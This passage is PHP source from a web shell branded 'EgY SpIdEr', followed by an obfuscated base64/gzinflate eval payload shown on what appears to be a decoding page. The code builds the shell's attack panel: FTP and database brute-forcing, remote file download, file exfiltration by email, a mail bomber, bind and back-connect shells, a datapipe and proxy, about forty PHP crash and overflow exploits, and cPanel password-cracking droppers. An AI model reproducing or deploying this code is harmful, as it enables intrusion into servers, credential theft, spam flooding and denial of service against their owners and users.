method=POST ENCTYPE=multipart/form-data>"; echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts; echo "<tr><td valign=top width=50%>".$ts; echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,'')); echo $te."</td><td valign=top width=50%>".$ts; echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,'')); echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te."</td></tr>"; echo $te.'</div>'.$table_end1.$fe; } { echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts; echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts; echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); $arh = $lang[$language.'_text92']; if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); echo $te.'</div>'.$table_end1.$fe; { echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir)); echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root")))); echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]")))); echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]")))); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); echo $te."</td>".$fe."</tr></div></table>"; } { echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("[email protected]")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr")))); echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("[email protected]")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell")))); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir)); echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("[email protected]")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr")))); echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>'); echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10))); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe."</tr></div></table>"; } { $select = '<select name=db>'; if($mysql_on) $select .= '<option value=MySQL>MySQL</option>'; if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>'; if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>'; if($ora_on) $select .= '<option value=Oracle>Oracle</option>'; if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>'; if($msql_on) $select .= '<option value=mSQL>mSQL</option>'; if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>'; $select .= '</select>'; echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up3.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute')); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>"; echo "</td>".$fe."</tr></div></table>"; } { echo $table_up1.div_title($lang[$language.'_text81'],'id555555').$table_up2.div('id555555').$ts."<tr>".$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457')); echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57')); echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457')); echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru')); echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667')); echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337')); echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); echo $te."</td>".$fe."</tr></div></table>"; } echo $table_up1.div_title($lang[$language.'_text81'],'id5525555').$table_up2.div('id5525555').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3'])); echo $te."</td>".$fe."</tr></div></table>"; echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts; echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe); echo $te."</td><td valign=top width=25%>".$ts; echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe); echo $te."</td><td valign=top width=25%>".$ts; echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe); echo $te."</td><td valign=top width=25%>".$ts; echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos39').in('submit','submit',0,'BoF [printf()](PHP<5.2.5) and prior').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos40').in('submit','submit',0,'BoF [mssql_connect(), mssql_pconnect()](PHP<4.4.6) and prior').$fe); echo $te."</td></tr></div></table>"; echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id11111').$table_up2.div('id11111').$ts; echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'.htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text228']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text230']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_cp',10,'pass_cpanel.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); echo $te.'</div>'.$table_end1.$fe; { echo $te."</td>".$fe."</tr></div></table>"; } echo $te."</td></tr></div></table>"; echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ EgY_SpIdEr | </a> | <a [email protected]>[email protected]</a> developer by EgY SpIdEr   ]---o</b></font></div></td></tr></table>"; echo '</body></html>'; ?>

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('7P1rdyJJkiAMf89z8j9EUppC6tQF0CWFlMpOQIBAEhJXSVTWaiAigBABQREghKpz/9t79t3Nnnqmu7emZ/bM0zPdfepUdX3a+g+Pmbl7hEcQ6JJZXV29m+rOAvxibm5uZm5ubu7+9IlitBYHQ7192WuM1M5iaK1pjdZCy8rCZTldqqVLnx1UKqeXVfhxmcimC5XPl5aULzt6Q9OHiyHMW4uuRpSNyEZoaVe/MUaLoZed6KuCNVIy1rivvVyDX5D1VlkwG/32uNHW98J6vx3eVRYa41FH2VMi8LXf6EH6Cy3a2trYiDXiurYZ17dirfi6pjbV2FZ8s9lobGGlQcO2H1Tyta2PTEttmPriUeoycXS0HB6OL0vVVXUQjW1Gw0tQxOgbl0PdHllDfTFkN1r6Zc/S9NBMljXQ+5fNhq1rxnA216l4afRVcwyf9xTTb3Q1uIxm2I2mqV+2xn11ZFh9e7ZIwzStyeV4aF62EC0sAEP4WtQA4IY9shfDWAlIEMbxYiDg12JYHw6t4aVptcPLherRkQBPeZB6Sfl2eDniyWkZgNR4YFoNDfKinjwfQiz7raKbti5abpgjYJd5bfPcwNZ53pz2ee48DKi5oT6whiOj315MIxdAzsLY1oetsQm81xgOG9PFcFtVw8vhZcXkn+KnRh+DzoB96kOTfZmOOlafvg7HzSl96TW6On0ZNYb02b41WLWm/CVG3/ocPrDniNWyx4ZG8BE/DSRFH7roLSvdxjWraGnrDERTU4EdGILja1ttMHxsXlAbTvQmy1XNRo99G3Y74z5QjCV3ukPLGnWNEf00BiPkPJv/aE1YZ4bGYGIMOY4dQzc1Thskqq33R0PWfbsPv+mbZds6756h2Q2txwCpMHham5W9MTTe/7ba0dWu+DFBFcSKTO1ew2YZt70mdG/AuzfpGSYbhYk17Dn97hv9qwYRb6T3BiBbtkM+4pQ2cqqt2zaIyCoQSb8cNEad8NJqeC287JZgLHY56g1QPnl2eA1+06emX6/ZnR59v24MWTqNmDXpY01dajc8AZBQsqWzXpnT/g1+GP0uUlkdEzdhGYSgdhpD+3JoDlAlhhpNVdNb7Y5x1TX7PWvwxdAeja8nN9PbEOpAUAb6yCnNmzP6mn6zyph1tTNqqCp0l31HpTlBmndGo4G2qlr9Fvy47ligKcQvtdXmlTHB8P0AzeZNAPQaY3M0p5QStjsNIApkOW2vggLtXHYM1GPINKu9qf2FKSXAiANzrjoVUEzhA1jI6AtA1lATSVBv2ICqmNUZHE8TvByw33hojKYsHXAyEEFtaCEnIssjer3pqkrdHoyHeksiymBoyT/l70B1y7wWv4Bfjb74YfeazteprY5M6RcUFL/YmEi/YIpE1bRKOjHcsXo6DZJmqTZi6YwhTpXwQRoNPpsNtTtGumuNUYP/5k3TQLCuN5viE1XGdXNsmvqISMS/s+z+mDSX2jZWmpTbGfVMIhWYAvbq6AbLNUHqAFFkVRh5o4/zGWi60cjo6aHl18DFPUMdWvhzcYlNSYvPgielNpuUfvUrRRJNeYYNLz3bo/nBVyZwnnUKL325IAPZi+6yOciXHNl9u6uA9IC90zbUyy/G1kgHScJxANRp3sFc/HVpGj0waCKPnGF7jRua4cdUGAH5Z1NrPBqMR5fNcaulD5GqlB84Zd4JjJeZB27BIRgoiQAykt65BpUFoKFEOLq6EQuzvvLUS9XqDRpgdbwGPuFpi0vAmBurYPWFl5S9PWUlit1fuDw9KVcAyqcLZDDir8taolSGJi6zaSkHfjgZzMR089hvJzt1cnKYS7vZ7DfPfguIAne0/UPZHqiLNCItmB8bakdZ5Lg1bGWhu/dq4drF97OF7ucA3sZpzjZBPen2IuQjcKk2R8NXn6XeAQERXORG7p5CVEKMnxk2MoFjX4dPD04vE9XKARnZ4c+J63va5h0lnu3tkcV8R8nTM14OtSY2zU328NnZ2UoCcIKp20DrY0dJNmxDVaC3Zm8vdJA+Ojp5FkLWEDUkIz+qVPvYIWto3ILtAYVckz9BukrZ1/uG7pj9ggxOpznVwnyWDn++7KbZuqmrIHoii0